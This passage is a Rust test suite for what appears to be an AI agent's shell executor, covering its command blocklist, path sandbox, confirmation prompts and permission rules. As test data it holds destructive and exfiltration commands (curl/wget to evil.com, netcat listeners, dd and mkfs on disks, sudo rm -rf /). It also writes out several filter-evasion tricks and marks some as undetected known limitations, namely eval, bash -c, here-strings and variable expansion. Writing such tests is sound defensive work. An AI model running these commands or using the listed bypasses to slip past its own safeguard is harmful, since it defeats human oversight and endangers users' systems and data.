1204 assert!(executor.find_blocked_command("ls -la").is_none());
1205 assert!(executor.find_blocked_command("cat file.txt").is_none());
1206 assert!(executor.find_blocked_command("cargo build").is_none());
1207 }
1208
1209 #[test]
1210 fn partial_match_accepted_tradeoff() {
1211 let executor = ShellExecutor::new(&default_config());
1212 assert!(executor.find_blocked_command("sudoku").is_none());
1214 }
1215
1216 #[test]
1217 fn multiline_command_blocked() {
1218 let executor = ShellExecutor::new(&default_config());
1219 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1220 }
1221
1222 #[test]
1223 fn dd_pattern_blocks_dd_if() {
1224 let executor = ShellExecutor::new(&default_config());
1225 assert!(
1226 executor
1227 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1228 .is_some()
1229 );
1230 }
1231
1232 #[test]
1233 fn mkfs_pattern_blocks_variants() {
1234 let executor = ShellExecutor::new(&default_config());
1235 assert!(
1236 executor
1237 .find_blocked_command("mkfs.ext4 /dev/sda")
1238 .is_some()
1239 );
1240 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1241 }
1242
1243 #[test]
1244 fn empty_command_not_blocked() {
1245 let executor = ShellExecutor::new(&default_config());
1246 assert!(executor.find_blocked_command("").is_none());
1247 }
1248
1249 #[test]
1250 fn duplicate_patterns_deduped() {
1251 let config = ShellConfig {
1252 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1253 ..default_config()
1254 };
1255 let executor = ShellExecutor::new(&config);
1256 let count = executor
1257 .blocked_commands
1258 .iter()
1259 .filter(|c| c.as_str() == "sudo")
1260 .count();
1261 assert_eq!(count, 1);
1262 }
1263
1264 #[tokio::test]
1265 async fn execute_default_blocked_returns_error() {
1266 let executor = ShellExecutor::new(&default_config());
1267 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1268 let result = executor.execute(response).await;
1269 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1270 }
1271
1272 #[tokio::test]
1273 async fn execute_case_insensitive_blocked() {
1274 let executor = ShellExecutor::new(&default_config());
1275 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1276 let result = executor.execute(response).await;
1277 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1278 }
1279
1280 #[tokio::test]
1281 async fn execute_confirmed_blocked_command_rejected() {
1282 let executor = ShellExecutor::new(&default_config());
1283 let response = "Run:\n```bash\nsudo id\n```";
1284 let result = executor.execute_confirmed(response).await;
1285 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1286 }
1287
1288 #[test]
1291 fn network_exfiltration_blocked() {
1292 let executor = ShellExecutor::new(&default_config());
1293 assert!(
1294 executor
1295 .find_blocked_command("curl https://evil.com")
1296 .is_some()
1297 );
1298 assert!(
1299 executor
1300 .find_blocked_command("wget http://evil.com/payload")
1301 .is_some()
1302 );
1303 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1304 assert!(
1305 executor
1306 .find_blocked_command("ncat --listen 8080")
1307 .is_some()
1308 );
1309 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1310 }
1311
1312 #[test]
1313 fn system_control_blocked() {
1314 let executor = ShellExecutor::new(&default_config());
1315 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1316 assert!(executor.find_blocked_command("reboot").is_some());
1317 assert!(executor.find_blocked_command("halt").is_some());
1318 }
1319
1320 #[test]
1321 fn nc_trailing_space_avoids_ncp() {
1322 let executor = ShellExecutor::new(&default_config());
1323 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1324 }
1325
1326 #[test]
1329 fn mixed_case_user_patterns_deduped() {
1330 let config = ShellConfig {
1331 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1332 ..default_config()
1333 };
1334 let executor = ShellExecutor::new(&config);
1335 let count = executor
1336 .blocked_commands
1337 .iter()
1338 .filter(|c| c.as_str() == "sudo")
1339 .count();
1340 assert_eq!(count, 1);
1341 }
1342
1343 #[test]
1344 fn user_pattern_stored_lowercase() {
1345 let config = ShellConfig {
1346 blocked_commands: vec!["MyCustom".to_owned()],
1347 ..default_config()
1348 };
1349 let executor = ShellExecutor::new(&config);
1350 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1351 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1352 }
1353
1354 #[test]
1357 fn allowed_commands_removes_from_default() {
1358 let config = ShellConfig {
1359 allowed_commands: vec!["curl".to_owned()],
1360 ..default_config()
1361 };
1362 let executor = ShellExecutor::new(&config);
1363 assert!(
1364 executor
1365 .find_blocked_command("curl https://example.com")
1366 .is_none()
1367 );
1368 assert!(executor.find_blocked_command("sudo rm").is_some());
1369 }
1370
1371 #[test]
1372 fn allowed_commands_case_insensitive() {
1373 let config = ShellConfig {
1374 allowed_commands: vec!["CURL".to_owned()],
1375 ..default_config()
1376 };
1377 let executor = ShellExecutor::new(&config);
1378 assert!(
1379 executor
1380 .find_blocked_command("curl https://example.com")
1381 .is_none()
1382 );
1383 }
1384
1385 #[test]
1386 fn allowed_does_not_override_explicit_block() {
1387 let config = ShellConfig {
1388 blocked_commands: vec!["curl".to_owned()],
1389 allowed_commands: vec!["curl".to_owned()],
1390 ..default_config()
1391 };
1392 let executor = ShellExecutor::new(&config);
1393 assert!(
1394 executor
1395 .find_blocked_command("curl https://example.com")
1396 .is_some()
1397 );
1398 }
1399
1400 #[test]
1401 fn allowed_unknown_command_ignored() {
1402 let config = ShellConfig {
1403 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1404 ..default_config()
1405 };
1406 let executor = ShellExecutor::new(&config);
1407 assert!(executor.find_blocked_command("sudo rm").is_some());
1408 assert!(
1409 executor
1410 .find_blocked_command("curl https://example.com")
1411 .is_some()
1412 );
1413 }
1414
1415 #[test]
1416 fn empty_allowed_commands_changes_nothing() {
1417 let executor = ShellExecutor::new(&default_config());
1418 assert!(
1419 executor
1420 .find_blocked_command("curl https://example.com")
1421 .is_some()
1422 );
1423 assert!(executor.find_blocked_command("sudo rm").is_some());
1424 assert!(
1425 executor
1426 .find_blocked_command("wget http://evil.com")
1427 .is_some()
1428 );
1429 }
1430
1431 #[test]
1434 fn extract_paths_from_code() {
1435 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1436 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1437 }
1438
1439 #[test]
1440 fn extract_paths_handles_trailing_chars() {
1441 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1442 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1443 }
1444
1445 #[test]
1446 fn extract_paths_detects_relative() {
1447 let paths = extract_paths("cat ./file.txt ../other");
1448 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1449 }
1450
1451 #[test]
1452 fn sandbox_allows_cwd_by_default() {
1453 let executor = ShellExecutor::new(&default_config());
1454 let cwd = std::env::current_dir().unwrap();
1455 let cwd_path = cwd.display().to_string();
1456 let code = format!("cat {cwd_path}/file.txt");
1457 assert!(executor.validate_sandbox(&code).is_ok());
1458 }
1459
1460 #[test]
1461 fn sandbox_rejects_path_outside_allowed() {
1462 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1463 let executor = ShellExecutor::new(&config);
1464 let result = executor.validate_sandbox("cat /etc/passwd");
1465 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1466 }
1467
1468 #[test]
1469 fn sandbox_no_absolute_paths_passes() {
1470 let config = sandbox_config(vec!["/tmp".into()]);
1471 let executor = ShellExecutor::new(&config);
1472 assert!(executor.validate_sandbox("echo hello").is_ok());
1473 }
1474
1475 #[test]
1476 fn sandbox_rejects_dotdot_traversal() {
1477 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1478 let executor = ShellExecutor::new(&config);
1479 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1480 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1481 }
1482
1483 #[test]
1484 fn sandbox_rejects_bare_dotdot() {
1485 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1486 let executor = ShellExecutor::new(&config);
1487 let result = executor.validate_sandbox("cd ..");
1488 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1489 }
1490
1491 #[test]
1492 fn sandbox_rejects_relative_dotslash_outside() {
1493 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1494 let executor = ShellExecutor::new(&config);
1495 let result = executor.validate_sandbox("cat ./secret.txt");
1496 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1497 }
1498
1499 #[test]
1500 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1501 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1502 let executor = ShellExecutor::new(&config);
1503 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1504 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1505 }
1506
1507 #[test]
1508 fn has_traversal_detects_dotdot() {
1509 assert!(has_traversal("../etc/passwd"));
1510 assert!(has_traversal("./foo/../bar"));
1511 assert!(has_traversal("/tmp/sandbox/../../etc"));
1512 assert!(has_traversal(".."));
1513 assert!(!has_traversal("./safe/path"));
1514 assert!(!has_traversal("/absolute/path"));
1515 assert!(!has_traversal("no-dots-here"));
1516 }
1517
1518 #[test]
1519 fn extract_paths_detects_dotdot_standalone() {
1520 let paths = extract_paths("cd ..");
1521 assert_eq!(paths, vec!["..".to_owned()]);
1522 }
1523
1524 #[test]
1527 fn allow_network_false_blocks_network_commands() {
1528 let config = ShellConfig {
1529 allow_network: false,
1530 ..default_config()
1531 };
1532 let executor = ShellExecutor::new(&config);
1533 assert!(
1534 executor
1535 .find_blocked_command("curl https://example.com")
1536 .is_some()
1537 );
1538 assert!(
1539 executor
1540 .find_blocked_command("wget http://example.com")
1541 .is_some()
1542 );
1543 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1544 }
1545
1546 #[test]
1547 fn allow_network_true_keeps_default_behavior() {
1548 let config = ShellConfig {
1549 allow_network: true,
1550 ..default_config()
1551 };
1552 let executor = ShellExecutor::new(&config);
1553 assert!(
1555 executor
1556 .find_blocked_command("curl https://example.com")
1557 .is_some()
1558 );
1559 }
1560
1561 #[test]
1564 fn find_confirm_command_matches_pattern() {
1565 let config = ShellConfig {
1566 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1567 ..default_config()
1568 };
1569 let executor = ShellExecutor::new(&config);
1570 assert_eq!(
1571 executor.find_confirm_command("rm /tmp/file.txt"),
1572 Some("rm ")
1573 );
1574 assert_eq!(
1575 executor.find_confirm_command("git push -f origin main"),
1576 Some("git push -f")
1577 );
1578 }
1579
1580 #[test]
1581 fn find_confirm_command_case_insensitive() {
1582 let config = ShellConfig {
1583 confirm_patterns: vec!["drop table".into()],
1584 ..default_config()
1585 };
1586 let executor = ShellExecutor::new(&config);
1587 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1588 }
1589
1590 #[test]
1591 fn find_confirm_command_no_match() {
1592 let config = ShellConfig {
1593 confirm_patterns: vec!["rm ".into()],
1594 ..default_config()
1595 };
1596 let executor = ShellExecutor::new(&config);
1597 assert!(executor.find_confirm_command("echo hello").is_none());
1598 }
1599
1600 #[tokio::test]
1601 async fn confirmation_required_returned() {
1602 let config = ShellConfig {
1603 confirm_patterns: vec!["rm ".into()],
1604 ..default_config()
1605 };
1606 let executor = ShellExecutor::new(&config);
1607 let response = "```bash\nrm file.txt\n```";
1608 let result = executor.execute(response).await;
1609 assert!(matches!(
1610 result,
1611 Err(ToolError::ConfirmationRequired { .. })
1612 ));
1613 }
1614
1615 #[tokio::test]
1616 async fn execute_confirmed_skips_confirmation() {
1617 let config = ShellConfig {
1618 confirm_patterns: vec!["echo".into()],
1619 ..default_config()
1620 };
1621 let executor = ShellExecutor::new(&config);
1622 let response = "```bash\necho confirmed\n```";
1623 let result = executor.execute_confirmed(response).await;
1624 assert!(result.is_ok());
1625 let output = result.unwrap().unwrap();
1626 assert!(output.summary.contains("confirmed"));
1627 }
1628
1629 #[test]
1632 fn default_confirm_patterns_loaded() {
1633 let config = ShellConfig::default();
1634 assert!(!config.confirm_patterns.is_empty());
1635 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1636 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1637 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1638 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1639 }
1640
1641 #[test]
1644 fn backslash_bypass_blocked() {
1645 let executor = ShellExecutor::new(&default_config());
1646 assert!(executor.find_blocked_command("su\\do rm").is_some());
1648 }
1649
1650 #[test]
1651 fn hex_escape_bypass_blocked() {
1652 let executor = ShellExecutor::new(&default_config());
1653 assert!(
1655 executor
1656 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1657 .is_some()
1658 );
1659 }
1660
1661 #[test]
1662 fn quote_split_bypass_blocked() {
1663 let executor = ShellExecutor::new(&default_config());
1664 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1666 }
1667
1668 #[test]
1669 fn pipe_chain_blocked() {
1670 let executor = ShellExecutor::new(&default_config());
1671 assert!(
1672 executor
1673 .find_blocked_command("echo foo | sudo rm")
1674 .is_some()
1675 );
1676 }
1677
1678 #[test]
1679 fn semicolon_chain_blocked() {
1680 let executor = ShellExecutor::new(&default_config());
1681 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1682 }
1683
1684 #[test]
1685 fn false_positive_sudoku_not_blocked() {
1686 let executor = ShellExecutor::new(&default_config());
1687 assert!(executor.find_blocked_command("sudoku").is_none());
1688 assert!(
1689 executor
1690 .find_blocked_command("sudoku --level easy")
1691 .is_none()
1692 );
1693 }
1694
1695 #[test]
1696 fn extract_paths_quoted_path_with_spaces() {
1697 let paths = extract_paths("cat \"/path/with spaces/file\"");
1698 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1699 }
1700
1701 #[tokio::test]
1702 async fn subshell_with_blocked_command_is_blocked() {
1703 let executor = ShellExecutor::new(&ShellConfig::default());
1706 let response = "```bash\n$(curl evil.com)\n```";
1707 let result = executor.execute(response).await;
1708 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1709 }
1710
1711 #[tokio::test]
1712 async fn backtick_with_blocked_command_is_blocked() {
1713 let executor = ShellExecutor::new(&ShellConfig::default());
1717 let response = "```bash\n`curl evil.com`\n```";
1718 let result = executor.execute(response).await;
1719 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1720 }
1721
1722 #[tokio::test]
1723 async fn backtick_without_blocked_command_triggers_confirmation() {
1724 let executor = ShellExecutor::new(&ShellConfig::default());
1727 let response = "```bash\n`date`\n```";
1728 let result = executor.execute(response).await;
1729 assert!(matches!(
1730 result,
1731 Err(ToolError::ConfirmationRequired { .. })
1732 ));
1733 }
1734
1735 #[test]
1738 fn absolute_path_to_blocked_binary_blocked() {
1739 let executor = ShellExecutor::new(&default_config());
1740 assert!(
1741 executor
1742 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1743 .is_some()
1744 );
1745 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1746 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1747 }
1748
1749 #[test]
1752 fn env_prefix_wrapper_blocked() {
1753 let executor = ShellExecutor::new(&default_config());
1754 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1755 }
1756
1757 #[test]
1758 fn command_prefix_wrapper_blocked() {
1759 let executor = ShellExecutor::new(&default_config());
1760 assert!(
1761 executor
1762 .find_blocked_command("command sudo rm -rf /")
1763 .is_some()
1764 );
1765 }
1766
1767 #[test]
1768 fn exec_prefix_wrapper_blocked() {
1769 let executor = ShellExecutor::new(&default_config());
1770 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1771 }
1772
1773 #[test]
1774 fn nohup_prefix_wrapper_blocked() {
1775 let executor = ShellExecutor::new(&default_config());
1776 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1777 }
1778
1779 #[test]
1780 fn absolute_path_via_env_wrapper_blocked() {
1781 let executor = ShellExecutor::new(&default_config());
1782 assert!(
1783 executor
1784 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1785 .is_some()
1786 );
1787 }
1788
1789 #[test]
1792 fn octal_escape_bypass_blocked() {
1793 let executor = ShellExecutor::new(&default_config());
1794 assert!(
1796 executor
1797 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1798 .is_some()
1799 );
1800 }
1801
1802 #[tokio::test]
1803 async fn with_audit_attaches_logger() {
1804 use crate::audit::AuditLogger;
1805 use crate::config::AuditConfig;
1806 let config = default_config();
1807 let executor = ShellExecutor::new(&config);
1808 let audit_config = AuditConfig {
1809 enabled: true,
1810 destination: "stdout".into(),
1811 };
1812 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1813 let executor = executor.with_audit(logger);
1814 assert!(executor.audit_logger.is_some());
1815 }
1816
1817 #[test]
1818 fn chrono_now_returns_valid_timestamp() {
1819 let ts = chrono_now();
1820 assert!(!ts.is_empty());
1821 let parsed: u64 = ts.parse().unwrap();
1822 assert!(parsed > 0);
1823 }
1824
1825 #[cfg(unix)]
1826 #[tokio::test]
1827 async fn execute_bash_injects_extra_env() {
1828 let mut env = std::collections::HashMap::new();
1829 env.insert(
1830 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1831 "hello-from-env".to_owned(),
1832 );
1833 let (result, code) = execute_bash(
1834 "echo $ZEPH_TEST_INJECTED_VAR",
1835 Duration::from_secs(5),
1836 None,
1837 None,
1838 Some(&env),
1839 )
1840 .await;
1841 assert_eq!(code, 0);
1842 assert!(result.contains("hello-from-env"));
1843 }
1844
1845 #[cfg(unix)]
1846 #[tokio::test]
1847 async fn shell_executor_set_skill_env_injects_vars() {
1848 use crate::executor::ToolExecutor;
1849
1850 let config = ShellConfig {
1851 timeout: 5,
1852 allowed_commands: vec![],
1853 blocked_commands: vec![],
1854 allowed_paths: vec![],
1855 confirm_patterns: vec![],
1856 allow_network: false,
1857 };
1858
1859 let executor = ShellExecutor::new(&config);
1860 let mut env = std::collections::HashMap::new();
1861 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1862 executor.set_skill_env(Some(env));
1863 let result = executor
1864 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1865 .await
1866 .unwrap()
1867 .unwrap();
1868 assert!(result.summary.contains("injected-value"));
1869 executor.set_skill_env(None);
1870 }
1871
1872 #[cfg(unix)]
1873 #[tokio::test]
1874 async fn execute_bash_error_handling() {
1875 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1876 assert_eq!(result, "(no output)");
1877 assert_eq!(code, 1);
1878 }
1879
1880 #[cfg(unix)]
1881 #[tokio::test]
1882 async fn execute_bash_command_not_found() {
1883 let (result, _) = execute_bash(
1884 "nonexistent-command-xyz",
1885 Duration::from_secs(5),
1886 None,
1887 None,
1888 None,
1889 )
1890 .await;
1891 assert!(result.contains("[stderr]") || result.contains("[error]"));
1892 }
1893
1894 #[test]
1895 fn extract_paths_empty() {
1896 assert!(extract_paths("").is_empty());
1897 }
1898
1899 #[tokio::test]
1900 async fn policy_deny_blocks_command() {
1901 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1902 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1903 let response = "```bash\nforbidden command\n```";
1904 let result = executor.execute(response).await;
1905 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1906 }
1907
1908 #[tokio::test]
1909 async fn policy_ask_requires_confirmation() {
1910 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1911 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1912 let response = "```bash\nrisky operation\n```";
1913 let result = executor.execute(response).await;
1914 assert!(matches!(
1915 result,
1916 Err(ToolError::ConfirmationRequired { .. })
1917 ));
1918 }
1919
1920 #[tokio::test]
1921 async fn policy_allow_skips_checks() {
1922 use crate::permissions::PermissionRule;
1923 use std::collections::HashMap;
1924 let mut rules = HashMap::new();
1925 rules.insert(
1926 "bash".to_owned(),
1927 vec![PermissionRule {
1928 pattern: "*".to_owned(),
1929 action: PermissionAction::Allow,
1930 }],
1931 );
1932 let policy = PermissionPolicy::new(rules);
1933 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1934 let response = "```bash\necho hello\n```";
1935 let result = executor.execute(response).await;
1936 assert!(result.is_ok());
1937 }
1938
1939 #[tokio::test]
1940 async fn blocked_command_logged_to_audit() {
1941 use crate::audit::AuditLogger;
1942 use crate::config::AuditConfig;
1943 let config = ShellConfig {
1944 blocked_commands: vec!["dangerous".to_owned()],
1945 ..default_config()
1946 };
1947 let audit_config = AuditConfig {
1948 enabled: true,
1949 destination: "stdout".into(),
1950 };
1951 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1952 let executor = ShellExecutor::new(&config).with_audit(logger);
1953 let response = "```bash\ndangerous command\n```";
1954 let result = executor.execute(response).await;
1955 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1956 }
1957
1958 #[test]
1959 fn tool_definitions_returns_bash() {
1960 let executor = ShellExecutor::new(&default_config());
1961 let defs = executor.tool_definitions();
1962 assert_eq!(defs.len(), 1);
1963 assert_eq!(defs[0].id, "bash");
1964 assert_eq!(
1965 defs[0].invocation,
1966 crate::registry::InvocationHint::FencedBlock("bash")
1967 );
1968 }
1969
1970 #[test]
1971 fn tool_definitions_schema_has_command_param() {
1972 let executor = ShellExecutor::new(&default_config());
1973 let defs = executor.tool_definitions();
1974 let obj = defs[0].schema.as_object().unwrap();
1975 let props = obj["properties"].as_object().unwrap();
1976 assert!(props.contains_key("command"));
1977 let req = obj["required"].as_array().unwrap();
1978 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1979 }
1980
1981 #[tokio::test]
1982 #[cfg(not(target_os = "windows"))]
1983 async fn cancel_token_kills_child_process() {
1984 let token = CancellationToken::new();
1985 let token_clone = token.clone();
1986 tokio::spawn(async move {
1987 tokio::time::sleep(Duration::from_millis(100)).await;
1988 token_clone.cancel();
1989 });
1990 let (result, code) = execute_bash(
1991 "sleep 60",
1992 Duration::from_secs(30),
1993 None,
1994 Some(&token),
1995 None,
1996 )
1997 .await;
1998 assert_eq!(code, 130);
1999 assert!(result.contains("[cancelled]"));
2000 }
2001
2002 #[tokio::test]
2003 #[cfg(not(target_os = "windows"))]
2004 async fn cancel_token_none_does_not_cancel() {
2005 let (result, code) =
2006 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
2007 assert_eq!(code, 0);
2008 assert!(result.contains("ok"));
2009 }
2010
2011 #[tokio::test]
2012 #[cfg(not(target_os = "windows"))]
2013 async fn cancel_kills_child_process_group() {
2014 use std::path::Path;
2015 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
2016 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
2017 let token = CancellationToken::new();
2018 let token_clone = token.clone();
2019 tokio::spawn(async move {
2020 tokio::time::sleep(Duration::from_millis(200)).await;
2021 token_clone.cancel();
2022 });
2023 let (result, code) =
2024 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
2025 assert_eq!(code, 130);
2026 assert!(result.contains("[cancelled]"));
2027 tokio::time::sleep(Duration::from_millis(500)).await;
2029 assert!(
2030 !Path::new(&marker).exists(),
2031 "subprocess should have been killed with process group"
2032 );
2033 }
2034
2035 #[tokio::test]
2036 #[cfg(not(target_os = "windows"))]
2037 async fn shell_executor_cancel_returns_cancelled_error() {
2038 let token = CancellationToken::new();
2039 let token_clone = token.clone();
2040 tokio::spawn(async move {
2041 tokio::time::sleep(Duration::from_millis(100)).await;
2042 token_clone.cancel();
2043 });
2044 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
2045 let response = "```bash\nsleep 60\n```";
2046 let result = executor.execute(response).await;
2047 assert!(matches!(result, Err(ToolError::Cancelled)));
2048 }
2049
2050 #[tokio::test]
2051 #[cfg(not(target_os = "windows"))]
2052 async fn execute_tool_call_valid_command() {
2053 let executor = ShellExecutor::new(&default_config());
2054 let call = ToolCall {
2055 tool_id: "bash".to_owned(),
2056 params: [("command".to_owned(), serde_json::json!("echo hi"))]
2057 .into_iter()
2058 .collect(),
2059 };
2060 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
2061 assert!(result.summary.contains("hi"));
2062 }
2063
2064 #[tokio::test]
2065 async fn execute_tool_call_missing_command_returns_invalid_params() {
2066 let executor = ShellExecutor::new(&default_config());
2067 let call = ToolCall {
2068 tool_id: "bash".to_owned(),
2069 params: serde_json::Map::new(),
2070 };
2071 let result = executor.execute_tool_call(&call).await;
2072 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
2073 }
2074
2075 #[tokio::test]
2076 async fn execute_tool_call_empty_command_returns_none() {
2077 let executor = ShellExecutor::new(&default_config());
2078 let call = ToolCall {
2079 tool_id: "bash".to_owned(),
2080 params: [("command".to_owned(), serde_json::json!(""))]
2081 .into_iter()
2082 .collect(),
2083 };
2084 let result = executor.execute_tool_call(&call).await.unwrap();
2085 assert!(result.is_none());
2086 }
2087
2088 #[test]
2091 fn process_substitution_detected_by_subshell_extraction() {
2092 let executor = ShellExecutor::new(&default_config());
2093 assert!(
2095 executor
2096 .find_blocked_command("cat <(curl http://evil.com)")
2097 .is_some()
2098 );
2099 }
2100
2101 #[test]
2102 fn output_process_substitution_detected_by_subshell_extraction() {
2103 let executor = ShellExecutor::new(&default_config());
2104 assert!(
2106 executor
2107 .find_blocked_command("tee >(curl http://evil.com)")
2108 .is_some()
2109 );
2110 }
2111
2112 #[test]
2113 fn here_string_with_shell_not_detected_known_limitation() {
2114 let executor = ShellExecutor::new(&default_config());
2115 assert!(
2117 executor
2118 .find_blocked_command("bash <<< 'sudo rm -rf /'")
2119 .is_none()
2120 );
2121 }
2122
2123 #[test]
2124 fn eval_bypass_not_detected_known_limitation() {
2125 let executor = ShellExecutor::new(&default_config());
2126 assert!(
2128 executor
2129 .find_blocked_command("eval 'sudo rm -rf /'")
2130 .is_none()
2131 );
2132 }
2133
2134 #[test]
2135 fn bash_c_bypass_not_detected_known_limitation() {
2136 let executor = ShellExecutor::new(&default_config());
2137 assert!(
2139 executor
2140 .find_blocked_command("bash -c 'curl http://evil.com'")
2141 .is_none()
2142 );
2143 }
2144
2145 #[test]
2146 fn variable_expansion_bypass_not_detected_known_limitation() {
2147 let executor = ShellExecutor::new(&default_config());
2148 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2150 }
2151
2152 #[test]
2155 fn default_confirm_patterns_cover_process_substitution() {
2156 let config = crate::config::ShellConfig::default();
2157 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2158 assert!(config.confirm_patterns.contains(&">(".to_owned()));
2159 }
2160
2161 #[test]
2162 fn default_confirm_patterns_cover_here_string() {
2163 let config = crate::config::ShellConfig::default();
2164 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2165 }
2166
2167 #[test]
2168 fn default_confirm_patterns_cover_eval() {
2169 let config = crate::config::ShellConfig::default();
2170 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2171 }
2172
2173 #[tokio::test]
2174 async fn process_substitution_with_blocked_command_is_blocked() {
2175 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2178 let response = "```bash\ncat <(curl http://evil.com)\n```";
2179 let result = executor.execute(response).await;
2180 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2181 }
2182
2183 #[tokio::test]
2184 async fn here_string_triggers_confirmation() {
2185 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2186 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2187 let result = executor.execute(response).await;
2188 assert!(matches!(
2189 result,
2190 Err(ToolError::ConfirmationRequired { .. })
2191 ));
2192 }
2193
2194 #[tokio::test]
2195 async fn eval_triggers_confirmation() {
2196 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2197 let response = "```bash\neval 'curl http://evil.com'\n```";
2198 let result = executor.execute(response).await;
2199 assert!(matches!(
2200 result,
2201 Err(ToolError::ConfirmationRequired { .. })
2202 ));
2203 }
2204
2205 #[tokio::test]
2206 async fn output_process_substitution_with_blocked_command_is_blocked() {
2207 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2210 let response = "```bash\ntee >(curl http://evil.com)\n```";
2211 let result = executor.execute(response).await;
2212 assert!(matches!(result, Err(ToolError::Blocked { .. })));
2213 }
2214
2215 #[test]
2216 fn here_string_with_command_substitution_not_detected_known_limitation() {
2217 let executor = ShellExecutor::new(&default_config());
2218 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2220 }
2221
2222 fn default_blocklist() -> Vec<String> {
2225 DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2226 }
2227
2228 #[test]
2229 fn check_blocklist_blocks_rm_rf_root() {
2230 let bl = default_blocklist();
2231 assert!(check_blocklist("rm -rf /", &bl).is_some());
2232 }
2233
2234 #[test]
2235 fn check_blocklist_blocks_sudo() {
2236 let bl = default_blocklist();
2237 assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2238 }
2239
2240 #[test]
2241 fn check_blocklist_allows_safe_commands() {
2242 let bl = default_blocklist();
2243 assert!(check_blocklist("ls -la", &bl).is_none());
2244 assert!(check_blocklist("echo hello world", &bl).is_none());
2245 assert!(check_blocklist("git status", &bl).is_none());
2246 assert!(check_blocklist("cargo build --release", &bl).is_none());
2247 }
2248
2249 #[test]
2250 fn check_blocklist_blocks_subshell_dollar_paren() {
2251 let bl = default_blocklist();
